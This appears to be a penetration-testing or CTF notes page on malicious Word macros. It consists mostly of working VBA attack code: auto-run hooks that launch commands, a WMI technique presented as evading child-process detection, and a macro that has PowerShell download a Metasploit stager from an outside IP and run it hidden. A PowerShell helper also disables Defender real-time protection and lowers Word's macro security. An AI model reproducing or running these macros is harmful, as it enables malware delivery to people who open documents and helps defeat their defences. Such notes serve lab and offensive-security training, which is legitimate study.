Word Macros

Macros can be written from scratch in Visual Basic for Applications (VBA), which is a powerful scripting language with full access to ActiveX objects and the Windows Script Host, similar to JavaScript in HTML Applications.

Bear in mind that older client-side attack vectors, including Dynamic Data Exchange (DDE) and various Object Linking and Embedding (OLE) methods do not work well today without significant target system modification.

Creating Doc Macros

Basics

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    CreateObject("Wscript.Shell").Run Str
End Sub
Dim shell As Object
Set shell = CreateObject("wscript.Shell")
shell.run "calc"

//NOTE IT WILL CREATE A CHILD PROCESS WHICH IS DETECTED EASYLY

Will not create a Child Process but require admin

Dim shell As Object
Set shell = GetObject("winmgmt:\\.\root\cimv2:Win32_Process")
shell.Create "calc"

Sub My_Macro()

    ' Create an instance of WMI Service
    Set objWMIService = GetObject("winmgmt:\\.\root\cimv2")

    ' Execute a command (cmd.exe stays open)
    objWMIService.Get("Win32_Process").Create "cmd.exe /k echo Macro Executed"

    ' Cleanup
    Set objWMIService = Nothing

End Sub

Running PowerShell

Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
 
Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe','msfstaged.exe')"
    shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path + "\msfstaged.exe"
    Wait (2)
    shell exePath, vbHide
 
End Sub
 
Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub

Calling WinAPI using VB

' Step 1: Declare the Windows API Function
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
    (ByVal lpBuffer As String, ByRef nSize As Long) As Long

' Step 2: Implement the VBA Function to Retrieve Username
Function GetWindowsUsername()
    Dim res As Long
    Dim MyBuff As String * 256  ' Buffer for username (256 bytes)
    Dim MySize As Long
    Dim StrLength As Long

    ' Set buffer size
    MySize = 256

    ' Call the API function
    res = GetUserName(MyBuff, MySize)

    ' Find the null character that terminates the string
    StrLength = InStr(1, MyBuff, vbNullChar) - 1

    ' Extract the username (excluding null characters)
    If StrLength > 0 Then
        GetWindowsUsername = Left$(MyBuff, StrLength)
    Else
        GetWindowsUsername = "Error retrieving username"
    End If
End Function

' Step 3: Display Username in a Message Box
Sub ShowUsername()
    MsgBox "Current User: " & GetWindowsUsername(), vbInformation, "User Info"
End Sub

' Step 4: Automate Execution on Document Open
Sub AutoOpen()
    ShowUsername
End Sub

Sub Document_Open()
    ShowUsername
End Sub

Usefull for CTFs

# Loop for doc file and execute MyMacro
If (Test-Path C:\Users\Administrator\Documents\webapp\ticket.doc)
{
    $setup = Get-Process Setup32 -ErrorAction SilentlyContinue
    if ($setup) {
        exit
    }

    try { Start-Process WINWORD } catch { exit}
    Set-MpPreference -DisableRealtimeMonitoring $true
    
    Start-Sleep -Seconds 10
    Stop-Process -Name "WINWORD" -Force
    New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security -Name "VBAWarnings" -Value "1" -PropertyType DWORD -Force
    Move-Item -Path C:\Users\Administrator\Documents\webapp\ticket.doc -Destination C:\Users\Administrator\Documents\ticket.doc
    Unblock-File -Path C:\Users\Administrator\Documents\ticket.doc
    Start-Process -FilePath "C:\Users\Administrator\Documents\ticket.doc" 
    Start-Sleep -Seconds 20
    Remove-Item C:\Users\Administrator\Documents\ticket.doc
}

Last updated